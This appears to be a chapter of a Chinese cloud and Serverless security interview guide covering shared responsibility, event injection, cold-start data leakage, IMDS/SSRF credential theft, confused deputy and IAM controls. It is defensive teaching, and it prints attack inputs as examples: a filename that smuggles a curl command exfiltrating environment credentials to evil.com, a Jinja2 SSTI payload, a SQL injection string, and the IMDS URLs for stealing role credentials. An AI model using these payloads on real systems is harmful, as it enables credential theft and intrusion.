  │              │ = CSPM + CWPP + CIEM + 镜像扫描 + IaC 扫描      │
  │              │ ★ 2023 年后 Gartner 主推的概念                  │
  │              │ 厂商:Wiz、Prisma Cloud、Aqua、Sysdig、Lacework │
  └──────────────┴──────────────────────────────────────────────┘

★★ 务实建议(别被厂商忽悠)

  如果你是小团队(< 20 人):
     ★ 不要买 CNAPP(很贵,几十万起)
     ✅ 用开源 + 云厂商免费能力就够:
        - Prowler(CSPM,几百条检查)
        - Trivy(镜像 + IaC + 依赖 + 密钥,一个工具全搞定)
        - Falco(运行时检测)
        - PMapper + Cloudsplaining(权限分析)
        - 云厂商的免费安全中心(★ 一定要开)
        ★ 这些加起来能覆盖 80% 的需求,成本 = 0

  如果是中大型(有多个云账号、有合规要求):
     ✅ 可以考虑商业 CNAPP,但要注意:
        - ★ 先明确你要解决什么问题,不要为了"上平台"而上
        - ★ 平台的价值在于【关联分析】(如"这个公网暴露的机器上
          跑着一个有高危漏洞的镜像,且它的角色能读生产数据库")
          → ★★ 单点工具做不到这种跨层关联,这才是 CNAPP 的真正价值
        - 部署顺序建议:CSPM(先知道有什么)→ CIEM(收权限)→ CWPP(运行时)

10.8 面试题 J 组:云原生与 Serverless 安全(30 题)

使用说明:本组题目按“基础 → 进阶 → 场景 → 追问链”排列。 难度标记:★ 初级 / ★★ 中级 / ★★★ 高级 / ★★★★ 专家级

10.8.1 基础题(J1 ~ J12)


J1(★)什么是云的责任共担模型?请划清楚界限

★ 核心定义

责任共担模型(Shared Responsibility Model):云安全不是“云厂商全包”, 而是云厂商负责云平台本身的安全,客户负责云上内容的安全。 ★ 很多人以为“上了云就安全了”,这是最根本的认知错误。

界限划分(以三种服务形态为例)

┌────────────────────┬───────────┬───────────┬───────────┐
│                    │   IaaS    │   PaaS    │   SaaS    │
│                    │ (云主机)  │ (云数据库)│ (云邮箱)  │
├────────────────────┼───────────┼───────────┼───────────┤
│ 应用数据            │   客户    │   客户    │   客户    │
│ 身份与访问管理      │   客户    │   客户    │   客户    │
│ 应用代码            │   客户    │   客户    │   厂商    │
│ 操作系统/补丁       │   客户    │   厂商    │   厂商    │
│ 网络配置(防火墙)    │   客户    │   客户    │   厂商    │
│ 中间件/运行时       │   客户    │   厂商    │   厂商    │
│ 虚拟化层            │   厂商    │   厂商    │   厂商    │
│ 物理服务器          │   厂商    │   厂商    │   厂商    │
│ 数据中心/网络       │   厂商    │   厂商    │   厂商    │
└────────────────────┴───────────┴───────────┴───────────┘

★★ 记忆口诀:
   "云厂商负责【云的安全】(Security OF the Cloud)
    客户负责【云里的安全】(Security IN the Cloud)"
    ★★ 这句话是面试的标准答案,一定要背下来

具体例子(说清楚才算真懂)

场景 1:你的 EC2 被 SSH 爆破进去了
  → 谁的责任?【客户】
    原因:云厂商提供了安全组(防火墙),是你自己配了 0.0.0.0/0

场景 2:云厂商的虚拟化层有漏洞,导致跨租户逃逸
  → 谁的责任?【云厂商】
    (历史上没发生过大规模事故,但理论上是他们的责任)

场景 3:你的 S3 桶配成了公开,数据被拖走
  → 谁的责任?【客户】
    ★ 云厂商给了 Public Access Block 这个开关,是你没开

场景 4:云数据库的漏洞没打补丁导致被入侵
  → 谁的责任?【共担】
    云厂商负责数据库软件的补丁(PaaS),
    但你没开审计日志、用了弱密码 → 你也有责任

★★★ 面试加分点(说出这个认知):
  "责任共担最大的问题是【边界模糊地带】。
   比如 Serverless:云厂商管运行时,但你管代码和 IAM 权限。
   出事的时候大家会互相甩锅。
   ★ 所以我的做法是:不要把安全寄托在'这是谁的责任'上,
     而是把每一层的检查都做掉 —— 因为最终损失的是业务。"

★ 可延伸的追问

  • “那用了 Serverless,我们的责任是变轻了还是变重了?” → 答:面积变小了,但深度变深了。不用管操作系统补丁了(少了), 但权限配置、事件数据校验的责任都在你(更集中、更容易错), 而且一旦配错,爆炸半径更大。

J2(★★)Serverless 相比容器,带来了哪些新的安全风险?

★ 结构化的回答(四个方面)

┌────────────────────────────────────────────────────────────┐
│ ① 攻击面从"主机"转移到"配置和数据流"                          │
├────────────────────────────────────────────────────────────┤
│   传统:SSH 爆破、系统漏洞、提权                              │
│   Serverless:这些都没了(没有主机可打)                      │
│                                                              │
│   ★ 但新增:                                                 │
│     - IAM 角色权限过大(★ 头号问题)                          │
│     - 事件源注入(★ 见 J3)                                   │
│     - 部署包依赖漏洞(见第九章)                               │
│     - 超时/并发配置不当(账单 DoS)                           │
└────────────────────────────────────────────────────────────┘

┌────────────────────────────────────────────────────────────┐
│ ② ★★ 边界消失,传统防护手段失效                               │
├────────────────────────────────────────────────────────────┤
│   没有固定 IP → 基于 IP 的白名单没法做                        │
│   没有主机 → 主机 IDS/HIDS 装不了                             │
│   没有长驻进程 → 内存取证、进程监控无从谈起                    │
│   生命周期极短(几百毫秒)→ ★ 攻击可能已经结束,你才开始看日志 │
│                                                              │
│   ★ 结果:很多公司的 Serverless 环境是【检测盲区】             │
└────────────────────────────────────────────────────────────┘

┌────────────────────────────────────────────────────────────┐
│ ③ ★★★ 冷启动导致的状态残留(Serverless 独有)                 │
├────────────────────────────────────────────────────────────┤
│   见 J4。这是【只有 Serverless 才有】的问题,                  │
│   容器和虚拟机都不会有                                        │
└────────────────────────────────────────────────────────────┘

┌────────────────────────────────────────────────────────────┐
│ ④ ★★ 新的经济风险:账单 DoS(Financial DoS)                  │
├────────────────────────────────────────────────────────────┤
│   传统 DDoS:打瘫你的服务                                     │
│   Serverless:★ 服务【不会瘫】(自动扩容),                   │
│               但【账单会爆】                                  │
│                                                              │
│   ★ 算一笔账:                                                │
│     一个函数 512MB 内存,平均执行 200ms                       │
│     攻击者每秒打 1000 次,持续 3 天:                          │
│     1000 × 86400 × 3 = 2.59 亿次调用                          │
│     ★ 按 AWS Lambda 价格约 $0.0000002/次 + 计算费用           │
│     → 总计约 【$5,000 ~ $15,000】                             │
│     ★ 如果函数内存配了 3GB,翻 6 倍 → $90,000                 │
│                                                              │
│   ★ 更狠的:函数里调用了按次收费的服务(如某 AI API)           │
│     → 一次调用成本 $0.01 → 2.59 亿次 = ★ $259 万              │
└────────────────────────────────────────────────────────────┘

★ 防御清单(Serverless 加固 10 条)

☑ ① 每个函数【独立】IAM 角色 + 最小权限(★ 绝不用共享角色)
☑ ② 设置并发上限(Reserved Concurrency)→ 防账单 DoS
☑ ③ 设置超时时间(★ 不要太长,避免被当成"计算资源"滥用)
☑ ④ 设置账单告警(★ 必须!每天检查,超过阈值通知)
☑ ⑤ 所有事件源视为不可信输入(见 J3)
☑ ⑥ /tmp 里不留敏感数据,用前清空(见 J4)
☑ ⑦ ★ 日志不打印环境变量和完整请求体
☑ ⑧ 定期扫描依赖漏洞(Trivy)
☑ ⑨ 用死信队列(DLQ)捕获失败调用(★ 可能暴露攻击行为)
☑ ⑩ ★ 开启函数的调用日志 + 错误率告警(★ 攻击往往表现为错误率突增)

J3(★★★)什么是 Serverless 事件注入?请举三种真实场景

★ 定义

事件注入(Event Injection):Serverless 函数由事件触发(S3 上传、MQ 消息、 数据库变更流、HTTP 请求等),如果函数把事件内容当作命令/路径/SQL/模板直接使用 而没有校验,就是事件注入。

★ 本质:和 SQL 注入、命令注入是同一类问题, 只是输入源从“HTTP 参数”变成了“事件内容”。

★ 为什么它比传统注入更容易被忽略

传统 Web:
  用户输入 → 你的代码
  ★ 所有人都知道"用户输入不可信",有成熟的框架防护

Serverless:
  事件源 → 你的函数
  ★★ 常见的错误认知:
     "这是我们自己的 S3 产生的事件,肯定是安全的"
     "这是内部 MQ 的消息,不会有恶意内容"

  ★ 真相:
    - S3 的对象名和内容 → ★ 用户上传的,完全可控
    - MQ 消息 → producer 可能被攻陷,或者本身就是外部消息
    - 数据库变更流 → 数据来自用户输入
    - API Gateway → 最显然的不可信输入
    - 定时事件(Cron) → ★ 唯一相对可信的

★ 三种真实场景(附代码)

# ══════════════════════════════════════════════════════════
# 场景 1:S3 文件名 → 命令注入(缩略图生成函数)
# ══════════════════════════════════════════════════════════
# ❌ 危险
import os
def lambda_handler(event, context):
    filename = event['Records'][0]['s3']['object']['key']
    os.system(f"convert /tmp/{filename} -resize 200 /tmp/thumb.jpg")
    # ★ 攻击者上传文件名:
    #   "cat.jpg; curl https://evil.com/$(env | base64 -w0)"
    #   → ★★ 环境变量(含 AWS 临时凭据)被外传

# ✅ 正确(两道防线:白名单校验 + 列表传参不走 shell)
import subprocess, re
def lambda_handler(event, context):
    filename = event['Records'][0]['s3']['object']['key']

    # ① 白名单校验(★ 最关键)
    if not re.fullmatch(r'[a-zA-Z0-9._/-]{1,255}', filename) or '..' in filename:
        raise ValueError("Invalid filename")

    # ② 用列表传参(shell=False,★ 这是 subprocess 的默认值)
    subprocess.run(
        ['convert', f'/tmp/{filename}', '-resize', '200', '/tmp/thumb.jpg'],
        check=True, timeout=30
    )

# ══════════════════════════════════════════════════════════
# 场景 2:MQ 消息体 → 模板注入 / SSTI
# ══════════════════════════════════════════════════════════
# ❌ 危险:用消息内容渲染模板(生成通知邮件/消息)
from jinja2 import Template
def handler(event, context):
    tpl = event['template']          # ★ 攻击者控制了模板字符串
    return Template(tpl).render(data=event['data'])
    # ★ 攻击者发:{{ ''.__class__.__mro__[1].__subclasses__() }}
    #   → ★ 遍历所有类 → 找到 os._wrap_close → RCE

# ✅ 正确:模板只能是你预设的,消息只能提供【数据】
from jinja2 import Environment, select_autoescape
env = Environment(autoescape=True)     # ★ 开启自动转义
TEMPLATES = {                          # ★ 白名单:只能选预设模板
    'welcome': env.from_string("欢迎 {{ name }}"),
    'order':   env.from_string("订单 {{ order_id }} 已发货"),
}
def handler(event, context):
    name = event.get('template_name')
    if name not in TEMPLATES:
        raise ValueError("未知模板")
    # ★ 只渲染数据,模板本身来自白名单
    return TEMPLATES[name].render(name=str(event.get('name', ''))[:50])

# ══════════════════════════════════════════════════════════
# 场景 3:数据库变更流 → SQL 注入(CDC 同步函数)
# ══════════════════════════════════════════════════════════
# ❌ 危险:把变更数据拼进 SQL
def handler(event, context):
    for record in event['records']:
        user_id = record['after']['user_id']     # ★ 来自数据库字段
        sql = f"UPDATE stats SET cnt=cnt+1 WHERE user_id = '{user_id}'"
        cursor.execute(sql)
        # ★ 如果 user_id 是用户注册时填的内容(如 "1'; DROP TABLE users;--")
        #   → 注入成功

# ✅ 正确:参数化查询(★ 老生常谈但就是有人忘)
def handler(event, context):
    for record in event['records']:
        user_id = record['after']['user_id']
        # ★ 类型校验
        if not isinstance(user_id, int) or user_id <= 0:
            logger.warning(f"跳过非法的 user_id: {user_id}")
            continue
        # ★ 参数化
        cursor.execute("UPDATE stats SET cnt=cnt+1 WHERE user_id = %s", (user_id,))

★ 加分点:说出这个洞察

"事件注入的根源不是技术问题,是【信任边界画错了】。

 很多架构师画信任边界的时候,画的是'系统边界':
   外部(不可信)| 内部(可信)
   用户请求 ↑
             API Gateway → Lambda → S3/MQ/DB(都是内部,可信)

 ★ 但在零信任模型下,正确的画法是【每个数据流都是边界】:
   用户上传的文件名 → 经过 API → 存进 S3 → 触发 Lambda
   ★★ 数据虽然'进到了内部',但【来源依然是用户】

 ★ 所以我的判断标准很简单:
   ★★ 问一句:'这个字段,最终能不能被外部用户(直接或间接)控制?'
       能 → 不可信,必须校验
       不能(如 Cron 事件里的固定字段)→ 可以放宽

 这条标准比记忆'哪些事件源可信'要可靠得多。"

J4(★★★)什么是冷启动状态残留?为什么它很危险?

★ 定义

冷启动(Cold Start):函数第一次被调用(或长时间没被调用)时, 云平台需要分配资源、加载代码、初始化运行时,这个耗时叫冷启动。

★ 为了性能,云平台会复用实例:函数执行完后, 容器/运行时不会立刻销毁,而是保留一段时间(通常几分钟到几十分钟), 下次调用如果来了,直接复用这个“热”实例,跳过初始化 → 快得多。

★ 状态残留(State Persistence): 函数代码里的【全局变量、静态变量、/tmp 目录、连接池】 在多次调用之间是被保留的。

★ 图解

  第 1 次调用(冷启动)
  ┌──────────────────────────────────────┐
  │ ① 分配容器                            │
  │ ② 加载代码                            │
  │ ③ 执行【初始化代码】(函数体外)        │
  │ ④ 执行 handler                       │
  │ ⑤ ★ 容器不销毁,保留 5~30 分钟         │
  └──────────────────────────────────────┘

  第 2 次调用(热启动,复用同一个容器)
  ┌──────────────────────────────────────┐
  │ ① 跳过初始化                          │
  │ ② 执行 handler                       │
  │ ★★ 全局变量是【上一次调用留下的值】     │
  │ ★★ /tmp 里的文件还在                  │
  └──────────────────────────────────────┘

★ 三个真实危险

# ══════════════════════════════════════════════════════════
# 危险 1:★★★ 跨用户数据泄露(★ 最严重)
# ══════════════════════════════════════════════════════════
# ❌ 灾难级代码
current_user = None      # ★ 全局变量

def lambda_handler(event, context):
    global current_user
    current_user = event['user_id']       # ★ 给全局变量赋值

    # ... 处理逻辑 ...

    return {"data": get_user_data(current_user)}

# ★★ 攻击场景:
#   ① 用户 A(id=1001)调用 → current_user = 1001,正常返回 A 的数据
#   ② ★ 如果某个分支【提前 return 或抛异常】,current_user 没被重置
#   ③ 用户 B(id=1002)调用同一个热实例
#   ④ ★ 某个代码路径读了还没被覆盖的 current_user
#      → B 看到了 A 的数据!

# ★ 真实事故:这种 bug 极难复现(只在特定时序下出现),
#   一旦出现就是【大规模数据泄露】

# ✅ 正确做法:
#   ① ★ 绝不用全局变量存任何【请求相关】的状态
#   ② 所有请求相关的东西通过参数传递
def lambda_handler(event, context):
    user_id = event['user_id']            # ★ 局部变量,不跨调用
    return {"data": get_user_data(user_id)}

#   ③ ★ 如果必须用全局变量做缓存(如 DB 连接池),
#      缓存的 key 必须包含用户身份,且【不做鉴权判断】

# ══════════════════════════════════════════════════════════
# 危险 2:★★ /tmp 目录残留(★ 攻击者能用)
# ══════════════════════════════════════════════════════════
# ❌ 危险
def lambda_handler(event, context):
    # 下载用户上传的文件到 /tmp 处理
    with open('/tmp/upload.xlsx', 'wb') as f:
        f.write(download_from_s3(event['key']))
    result = process('/tmp/upload.xlsx')
    return result
    # ★ 文件留在 /tmp 里了!

# ★★ 攻击场景:
#   ① 攻击者上传一个恶意文件(如包含病毒、或超大文件)
#   ② 函数处理后,文件留在 /tmp
#   ③ ★ 如果函数有漏洞(如路径遍历),攻击者能读到上一个用户
#      留在 /tmp 里的敏感文件
#   ④ ★ 或者:/tmp 空间被占满(默认 512MB)
#      → 后续调用全部失败 = ★ DoS

# ✅ 正确做法(三件事)
import tempfile, os, shutil
def lambda_handler(event, context):
    # ① ★ 用临时目录,且用 try/finally 保证清理
    tmpdir = tempfile.mkdtemp()           # ★ 随机目录名,防冲突
    try:
        filepath = os.path.join(tmpdir, 'upload.xlsx')
        with open(filepath, 'wb') as f:
            f.write(download_from_s3(event['key']))
        return process(filepath)
    finally:
        # ② ★★ 无论成功失败都清理
        shutil.rmtree(tmpdir, ignore_errors=True)

    # ③ ★ 如果必须用 /tmp,每次用前先清空
    #    for f in os.listdir('/tmp'):
    #        os.remove(os.path.join('/tmp', f))

# ══════════════════════════════════════════════════════════
# 危险 3:★ 凭据/连接泄漏到下一次调用
# ══════════════════════════════════════════════════════════
# ❌ 危险:把用户凭据缓存在全局
_token_cache = {}

def lambda_handler(event, context):
    user = event['user']
    if user not in _token_cache:
        _token_cache[user] = login(user, event['password'])
    return do_something(_token_cache[user])
    # ★★ 所有用户的凭据都堆在一个实例的全局字典里
    #   → 如果攻击者能 dump 内存,一次性拿到所有人的凭据

# ✅ 正确:用外部缓存(ElastiCache / DDB),且带 TTL
#    ★ 关键:外部缓存是【独立的服务】,有访问控制和审计

★ 加分点(体现深度)

"冷启动状态残留最麻烦的地方是【它让安全测试变得不可靠】。

 传统应用:每次请求都是独立的,你测一次没问题就基本没问题
 Serverless:★★ 你测的时候可能是冷启动(干净环境),
             生产环境是热启动(脏环境)

 所以我做 Serverless 安全测试时会专门加一条:
   ★ 连续用【不同用户的身份】调用同一个热实例,
     检查会不会串数据。

 ★ 而且这个测试要自动化,放进 CI 里,
   因为这类 bug 在代码重构时特别容易被引入
   (比如有人为了'优化性能'把局部变量改成了全局变量)。"

J5(★★★)IMDS 是什么?SSRF 怎么偷走云凭据?怎么防?

★ 定义

IMDS(Instance Metadata Service,实例元数据服务): 每台云服务器内部的一个只有本机能访问的特殊服务, 地址是 169.254.169.254(AWS/阿里云/腾讯云略有不同,见下表)。 程序通过它查询自己的实例信息,最重要的是获取临时云凭据。

云厂商 元数据地址 是否默认需要特殊请求头
AWS EC2 http://169.254.169.254/latest/meta-data/ ✗ 否(IMDSv1)→ ★ 危险
AWS ECS http://169.254.170.2/v2/credentials ✗ 否
阿里云 ECS http://100.100.100.200/latest/meta-data/ ✗ 否
腾讯云 CVM http://169.254.0.23/latest/meta-data/ ✗ 否
Azure VM http://169.254.169.254/metadata/instance ✓ 需要 Metadata: true
GCP http://169.254.169.254/computeMetadata/v1/ ✓ 需要 Metadata-Flavor: Google

★★ GCP 和 Azure 天然免疫简单的 SSRF(因为必须带自定义请求头), AWS/阿里云默认可被简单 SSRF 打到 —— 这就是为什么 AWS 上的这类事故最多。

★ 完整攻击链(背下来,面试常考)

① 目标有个 SSRF 漏洞点(如"输入图片 URL 生成缩略图")

② 攻击者提交:
   http://169.254.169.254/latest/meta-data/iam/security-credentials/
   → 返回角色名:prod-webapp-role

③ 再提交:
   http://169.254.169.254/latest/meta-data/iam/security-credentials/prod-webapp-role
   → 返回:
     {
       "AccessKeyId": "ASIA...",        ← ★ ASIA 开头 = 临时凭据
       "SecretAccessKey": "...",
       "Token": "FwoGZXIvYXdz...",
       "Expiration": "..."
     }

④ 攻击者在本机配置这套凭据,就能以该角色的身份操作云资源
   → 列桶、下载数据、创建新 IAM 用户(持久化)、挖矿

★★ 真实案例:2019 年 Capital One 泄露 1 亿条数据,就是这个路径

★ IMDSv1 vs IMDSv2

IMDSv1:
   GET /latest/meta-data/iam/security-credentials/role
   → 直接返回凭据(★ 一个 GET 就拿到)

IMDSv2(两步):
   ① PUT /latest/api/token             ← ★ 必须是 PUT
      Header: X-aws-ec2-metadata-token-ttl-seconds: 21600
      → 返回一个 Token

   ② GET /latest/meta-data/iam/security-credentials/role
      Header: X-aws-ec2-metadata-token: <Token>
      → 返回凭据

★ IMDSv2 为什么能防住大部分 SSRF:
   ① 需要发【PUT】请求 → 大部分 SSRF 点只能发 GET
   ② 需要拿到第一次的【响应内容】→ 盲 SSRF 做不到
   ③ 需要能设置【自定义请求头】→ 很多代理会剥掉
   ★★ 不能 100% 防住(完整的带外 SSRF 依然可以),
      但把门槛从"小学生"提到了"博士生"

★ 防御(必须答全四层)

┌────────────────────────────────────────────────────────────┐
│ 第一层(★ 最重要):云平台层                                  │
├────────────────────────────────────────────────────────────┤
│   ① 强制 IMDSv2:aws ec2 modify-instance-metadata-options   │
│        --http-tokens required                              │
│   ② ★★ Hop Limit = 1(--http-put-response-hop-limit 1)     │
│        → 容器里发的包到不了宿主机的 IMDS(★ 挡住容器场景)    │
│   ③ 启动模板固化(防新机器回潮)                              │
│   ④ SCP 兜底(禁止启动 IMDSv1 的实例)                        │
└────────────────────────────────────────────────────────────┘
                            ↓
┌────────────────────────────────────────────────────────────┐
│ 第二层:网络层                                                │
├────────────────────────────────────────────────────────────┤
│   ① K8s NetworkPolicy:169.254.169.254 加入 egress except   │
│   ② 出网走 NAT 白名单(★ 默认拒绝所有出网)                   │
│   ③ 主机防火墙(iptables)阻止容器访问该地址                  │
└────────────────────────────────────────────────────────────┘
                            ↓
┌────────────────────────────────────────────────────────────┐
│ 第三层:应用层(SSRF 防护,见 10.2.3 完整代码)                │
├────────────────────────────────────────────────────────────┤
│   ① 协议白名单(只放行 http/https)                           │
│   ② 解析 IP 后检查是否在黑名单网段                            │
│   ③ ★ 禁止 IP 字面量的各种变形(十进制/八进制/十六进制)       │
│   ④ ★★ 解析后绑定 IP(防 DNS Rebinding)                     │
│   ⑤ allow_redirects=False,每个跳转都要重新校验                │
│   ⑥ 限制响应大小(防内存打爆)                                │
└────────────────────────────────────────────────────────────┘
                            ↓
┌────────────────────────────────────────────────────────────┐
│ 第四层:权限层(★ 降低爆炸半径)                               │
├────────────────────────────────────────────────────────────┤
│   ★★ 即使凭据被偷,也做不了什么:                              │
│   ① 实例角色最小权限                                          │
│   ② ★ 用 SCP 禁止创建 IAM 用户/AK(防持久化)                 │
│   ③ 敏感桶加 KMS 密钥策略,限制只能从特定角色访问              │
│   ④ ★ 开启 GuardDuty(能检测到"凭据从异常 IP 使用")           │
└────────────────────────────────────────────────────────────┘

★ 加分点

"我想补充一个很多人忽略的点:

 ★★ 光开 IMDSv2 是不够的,因为攻击者可以用【其他路径】拿凭据:

   ① 容器逃逸到节点 → 节点上的 /var/lib/kubelet 里有所有 Pod 的 token
   ② 读取环境变量(很多人把 AK/SK 放环境变量)
   ③ 读取挂载的 kubeconfig
   ④ 读取应用的配置文件
   ⑤ ★ 通过云厂商的其他服务(如 ECS 的 169.254.170.2)

 所以我的检查清单是:
   ☑ IMDSv2 + hop limit(第一道)
   ☑ ★★ 全面排查:机器上到底有多少地方存着凭据?
      (环境变量、配置文件、挂载卷、日志)
   ☑ ★ 用 Falco 监控'读取凭据文件'的行为(运行时检测)

 ★ 最后一道防线是【权限最小化】——
   如果实例角色本来就只有读一个桶的权限,
   那即使被偷,损失也有限。"

J6(★★★)什么是混乱代理人问题?ExternalId 怎么解决?

★ 定义

Confused Deputy(混乱代理人 / 困惑的副手): 一个有权限的程序(代理人)被没有权限的攻击者利用, 因为它没有验证“这次请求是替谁做的”, 导致攻击者借用它的权限完成了自己无权做的事。

★ 经典类比(面试时用这个讲,最清楚)

你(客户)去银行办业务。
柜员(代理人)的【工作职责】就是能查任何人的账户。

第一天:
  你说:"帮我查我的账户:6222 0000 1234 5678"
  柜员查了,告诉你余额。(正常)

第二天:
  你说:"帮我查我的账户:6222 0000 9999 8888"   ← ★ 这是别人的账号
  柜员又查了,又告诉你余额。

★★★ 这就是混乱代理人:
   柜员有权限(查任何账户),
   但【没有验证你是不是这个账户的主人】
   → 你借柜员的权限,看到了别人的隐私

★ 云上的真实场景

场景:你用一家第三方监控公司(Vendor)的服务,
     让它读你们 S3 的日志桶做分析。

做法:你在自己账号建角色 VendorAccessRole,
     信任策略允许 Vendor 的账号来扮演,
     把角色的 ARN 告诉 Vendor。

★★ 攻击(如果没配 ExternalId):
  ① Vendor 的另一家客户(攻击者)知道了这个 ARN
     ★ ARN 不是秘密!可能出现在:
       - 公开的技术文档、教程
       - Stack Overflow 提问
       - 错误日志、堆栈信息
       - Vendor 的公开文档

  ② 攻击者对 Vendor 说:"帮我分析我的日志,
     我的角色 ARN 是 arn:aws:iam::公司A:role/VendorAccessRole"

  ③ Vendor 的程序不疑有他,去 AssumeRole
     → ★ 成功!因为信任策略只写了"允许 Vendor 账号",
            而请求确实是从 Vendor 的程序发起的

  ④ ★★ 攻击者读到了公司 A 的日志

★ ExternalId 怎么解决

{
  "Effect": "Allow",
  "Principal": {"AWS": "arn:aws:iam::VENDOR账号:root"},
  "Action": "sts:AssumeRole",
  "Condition": {
    "StringEquals": {
      "sts:ExternalId": "8f3d9a2b-4c1e-7f6a-9b8d-2e5c4a1f3b7d"
    }
  }
}
★★★ 为什么这样就安全了(★ 这段要说清楚,面试官最爱追问"为什么")

  ① 你生成一个【随机字符串】(UUID),每个客户一个

  ② 这个 ExternalId 只在【你和 Vendor 之间】,
     ★ 从不经过攻击者

  ③ Vendor 的程序逻辑:
       "当前登录的客户是 X → 查数据库拿到 X 的 ExternalId →
        用这个 ExternalId 去 AssumeRole"

  ④ 攻击者的请求:
     ★ 攻击者登录的是【他自己的账号】
     → Vendor 查表拿到的是【攻击者自己的 ExternalId】
     → 用它去 AssumeRole 【公司 A 的角色】
     → ★ 条件不匹配(公司 A 的 ExternalId ≠ 攻击者的 ExternalId)
     → ★★ 失败

  ★ 关键点:攻击者知道 RoleArn(不保密),
           但【不知道公司 A 的 ExternalId】,
           而且【无法让 Vendor 用 A 的 ExternalId 去 Assume】

★ 常见错误(踩坑清单)

❌ 错误 1:所有客户共用一个 ExternalId
   → 等于没有,攻击者只要拿到这一个就行
   ✅ 每个客户独立随机值

❌ 错误 2:ExternalId 用了可预测的值(如客户名、域名)
   → "company-a" 这种,攻击者猜得到
   ✅ 用 UUID v4(122 位随机)

❌ 错误 3:把 ExternalId 当成"秘密"
   ★ 澄清:AWS 官方文档明确说 ExternalId 【不是】密钥,
           它会出现在 CloudTrail 日志里
   ★ 它的作用是【区分客户】,不是【认证身份】
   ✅ 真正的认证靠的是"只有 Vendor 的程序会用这个值"

❌ 错误 4:★ 只配了 ExternalId,没限制 Principal
   ✅ 应该指定 Vendor 的具体角色,而不是整个 root 账号
      "Principal": {"AWS": "arn:aws:iam::VENDOR:role/VendorScannerRole"}
      (★ 信任整个账号 = 对方账号里任何有权限的主体都能来)

★ 加分点

"混乱代理人不只是第三方 SaaS 的问题,云上还有几个变体:

 ① ★★ GitHub Actions OIDC 没限制 sub(2023~2025 最火的攻击)
    只写了'信任 GitHub 的 OIDC 提供商',没写'信任我的哪个仓库'
    → 攻击者建个公开仓库就能 AssumeRole

 ② 跨账号共享资源的信任策略写 Principal: "*"

 ③ ★ 云服务商的'服务角色'被滥用
    比如你建了个角色信任某个云服务(如 CloudFormation),
    攻击者如果能调用那个服务,就能借它的权限

 ★ 本质规律(这是我想强调的):
   ★★ 只要【你的资源信任了一个'别人也能触发'的主体】,
       就有混乱代理人风险。
   判断方法:问一句'这个 Principal,是不是只有我能触发它?'
             不是 → 必须加 Condition 做二次区分"

J7(★★)权限边界(Permissions Boundary)和 SCP 有什么区别?

★ 一句话区别

  • 权限边界是账号内的“天花板”,用于安全地授权给团队(委托工具)
  • SCP 是组织级的“宪法”,用于强制合规底线,账号管理员改不了

★ 详细对比

维度 Permissions Boundary SCP
作用范围 单个 IAM 用户/角色 整个账号 / OU(组织单元)
谁能配置 账号内的管理员 组织管理员(账号管理员改不了)
能 Allow 吗 作为边界时只做上限,本身可含 Allow 只能 Deny,不能 Allow
典型用途 让开发团队自助建角色,但不超上限 禁止关闭审计日志、限制区域
绕过难度 账号管理员可以改 ★ 账号管理员改不了(★ 这是最大区别)
对 root 生效吗 不生效 生效(除非显式排除)

★ 权限边界解决的真实问题

场景:你想让开发团队能【自助创建 IAM 角色】(不要每个都找运维)

  但担心:
    ★ 给了他们 iam:CreateRole + iam:AttachRolePolicy
    → 他们可以建角色 + 贴 AdministratorAccess + 自己扮演
    → ★★ 绕过所有限制,提权成功

  解决:权限边界
    ① 运维预建"边界策略"(如只能碰 s3、sqs、lambda)
    ② 规定开发建角色时必须带这个边界
    ③ 实际权限 = 角色策略 ∩ 边界策略
       → 就算贴了 AdministratorAccess,实际只有 3 个服务的权限

  ★★★ 命门(★ 面试加分点):
     ★ 必须同时 Deny 掉 iam:DeleteRolePermissionsBoundary
     和 iam:PutRolePermissionsBoundary!
     否则开发可以:建角色 → 贴管理员 → ★ 删掉边界 → 提权成功
     ★ 这条 Deny 是整套方案的命门,很多人配漏了

★ SCP 的实战例子

{
  "Sid": "禁止关闭审计日志",
  "Effect": "Deny",
  "Action": ["cloudtrail:StopLogging", "cloudtrail:DeleteTrail"],
  "Resource": "*"
}
★ SCP 的三个坑(踩过的都懂)

  ① ★ SCP 不授予权限,只限制权限
     只挂 SCP 而没挂身份策略 → 用户什么都做不了
     (新手常见错误:挂完 SCP 发现所有人都用不了了)

  ② ★ SCP 对【服务关联角色】也生效
     可能导致某些托管服务初始化失败
     → 必须先在测试 OU 验证 1~2 周

  ③ ★ "区域限制"规则容易误伤
     IAM/CloudFront/Route53 是全球服务,不属于任何区域
     → 必须放进 NotAction,否则连 IAM 都用不了

J8(★★)云上有哪几种凭据形态?危险度怎么排?目标是什么?

★ 四种形态

┌──────────────┬────────────────┬──────────┬──────────────────┐
│ 形态          │ 白话            │ 危险度    │ 识别特征          │
├──────────────┼────────────────┼──────────┼──────────────────┤
│ 长期 AK/SK   │ 永不过期的钥匙   │ ★★★★★   │ AWS: AKIA 开头    │
│(IAM User)  │                │          │ 阿里云: LTAI      │
├──────────────┼────────────────┼──────────┼──────────────────┤
│ 临时 STS     │ 有过期时间的钥匙 │ ★★☆☆☆  │ AWS: ASIA 开头    │
│              │ 15分~12小时     │          │ 带 SessionToken   │
├──────────────┼────────────────┼──────────┼──────────────────┤
│ 实例角色      │ 绑机器上的钥匙  │ ★★☆☆☆  │ 从 IMDS 取        │
│(IMDS)      │ 自动轮换        │          │ 自动轮换          │
├──────────────┼────────────────┼──────────┼──────────────────┤
│ ★ OIDC 联邦  │ 没有钥匙        │ ★☆☆☆☆  │ GitHub Actions /  │
│              │ 用身份证换      │          │ K8s SA / IRSA     │
└──────────────┴────────────────┴──────────┴──────────────────┘

★★★ 一句话目标:消灭所有长期 AK/SK

★ 为什么长期 AK/SK 这么危险

① 不过期 → 泄露后攻击者可以慢慢用,你可能几个月后才发现

② ★ 存在的地方太多(这是关键):
     - 代码仓库(★ 最常见)
     - 环境变量
     - 日志(★ 尤其是 CI 日志,而且 CI 日志常常是公开的)
     - 前端 JS 打包产物
     - Docker 镜像层(★ 删掉文件也没用,历史 layer 还在)
     - 配置文件
     - 错误堆栈

③ 无法撤销"某一处" → 只能整体禁用,影响所有使用方

④ ★★ 最要命:GitHub 上的密钥扫描机器人,
     从你 push 到公开仓库的那一刻起,
     ★ 平均 3~5 分钟就会有人来尝试用你的 AK/SK
     ★ 不是"可能被发现",是"一定会被发现"

★ 迁移路径(怎么消灭长期 AK/SK)

场景                        → 替代方案
─────────────────────────────────────────────
应用跑在 EC2/ECS 上         → ★ 实例角色 / Task Role(IMDS 取临时凭据)
应用跑在 K8s 上             → ★ IRSA / Workload Identity(见 10.4.3)
